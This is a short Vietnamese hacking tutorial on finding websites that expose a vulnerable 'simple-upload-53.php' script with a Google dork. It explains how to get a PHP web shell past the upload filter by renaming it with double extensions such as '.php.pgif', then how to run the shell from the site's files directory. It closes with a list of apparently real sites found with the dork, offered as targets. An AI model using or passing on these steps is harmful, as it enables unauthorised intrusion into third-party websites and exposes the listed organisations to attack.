Một Số Bug - Dork Upload Shell

I  -  TailoredWeb SheLL Upload Vulnerability 
 

           

     1-      Google Dork : 

    "inurl:simple-upload-53.php"

     2-    Chọn victim, sẽ có link như sau:

   http://www.site.com/simple-upload-53.php

OR

  http://www.site.com/path/simple-upload-53.php

Ví dụ:

  http://www.targetms.biz/simple-upload-53.php

 

     3-    Upload Shell

Thay đổi đuôi shell thành dạng   shell.php.jpg   .php.pjpg   .php.gif  .php.pgif

            Bây giờ soleil sẽ upload shell byg.php.pgif lên.

     4-    Chạy Shell:

Run Shell theo  path sau:

http://www.site.com/files/yourfilehere

Ví dụ:

http://www.targetms.biz/files/byg.php.pgif

Với dork trên Soleil tìm đường 1 số link sau:

http://www.targetms.biz/simple-upload-53.php

http://www.greenbeerday.com/simple-upload-53.php               

http://www.kwa.com.br/k/teste/simple-upload-53.php

http://sorbachattanooga.org/trails old version/simple-upload-53.php

http://www.rdkinvestmentgroup.com/upload2/simple-upload-53.php

http://www.starpace.co.uk/docs/simple-upload-53.php

http://www.stpatricksdayshirts.com/simple-upload-53.php

http://www.centralmachineandfab.com/simple-upload-53.php

http://www.greenbeerday.com/simple-upload-53.php